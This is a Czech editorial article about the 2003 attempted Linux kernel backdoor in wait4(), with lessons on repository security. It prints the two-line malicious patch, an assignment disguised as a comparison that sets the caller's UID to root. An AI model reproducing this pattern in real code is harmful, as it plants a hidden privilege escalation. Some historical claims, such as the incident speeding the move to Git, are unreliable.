# Backdoor v jádru Linuxu: jak chyba v wait4() málem otevřela root přístup
V roce 2003 vývojáři Linuxu objevili neoprávněnou změnu v repozitáři CVS. Ve funkci wait4() se objevil podezřelý kódový fragment, který mohl poskytnout root privilegia jakémukoli uživateli. Změna se objevila bez jakýchkoli stop v hlavním úložišti BitKeeper, což naznačovalo napadení repozitáře CVS.
Kód vypadal na první pohled neškodně:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
Problém se skrýval v operátoru =. Místo porovnání == bylo použito přiřazení, které nastavilo current->uid na 0 (root) pro jakékoli volání wait4() s příznaky __WCLONE a __WALL. To otevřelo cestu k eskalaci privilegií bez dalších kontrol.
Historie repozitářů a místo zranitelnosti
V té době Linux používal paralelně dva repozitáře:
- BitKeeper — hlavní, moderní VCS pro jádro.
- CVS — legacy úložiště pro staré nástroje a oldschoolové vývojáře.
Synchronizace probíhala ručně: změny z BitKeeper se kopírovaly do CVS s tagy. Útočník získal přístup právě k CVS a nenápadně tam podstrčil patch. Absence automatických kontrol a rozdíl v uživatelích repozitářů umožnil obejít bezpečnostní mechanismy.
Vývojáři si anomálii všimli při rutinní kontrole: commit v CVS bez odpovídajícího v BitKeeper. Porovnání verzí odhalilo škodlivý kód.
Technický rozbor zranitelnosti
Funkce wait4() slouží k čekání na dokončení dětských procesů s rozšířenými možnostmi. Příznaky __WCLONE a __WALL se používají pro sledování klonů a všech procesů.
Logika útoku je jednoduchá:
- Uživatel zavolá
wait4(options = __WCLONE | __WALL). - Podmínka
current->uid = 0přiřadí UID 0 (root). - Vrátí se
-EINVAL, což zamaskuje úspěch. - Následné systémové volání se provádějí jako root.
Jednalo se o zero-day backdoor: nevyžadoval exploit, aktivoval se standardním voláním. Podobné chyby (= místo ==) jsou častou příčinou zranitelností v C.
Lekce pro moderní vývoj
Tento incident zdůraznil rizika legacy systémů. Současné postupy takové hrozby minimalizují:
- Jednotné úložiště: Git s větvemi a PR.
- CI/CD s kontrolami: Automatický diff, statická analýza (Coverity, Clang).
- Podpisy commitů: GPG/PGP pro autentizaci.
- Signed tags: Ochrana vydání.
- Fuzzing a audit: Nepřetržité testování syscallů.
V jádru Linuxu jsou nyní povinné code review a automatizované testy na takové vzorce.
Co je důležité
- Chyba
=místo==vwait4()vytvořila root backdoor pro jakéhokoli uživatele. - Napadení proběhlo přes CVS, zatímco BitKeeper zůstal čistý.
- Ruční synchronizace repozitářů byla v roce 2003 slabým článkem.
- Incident urychlil přechod na Git ve vývoji jádra.
- Kontrolujte podmínky v podmínkových operátorech: kompilátor ne vždy chytí přiřazení.
— Editorial Team
Zatím žádné komentáře.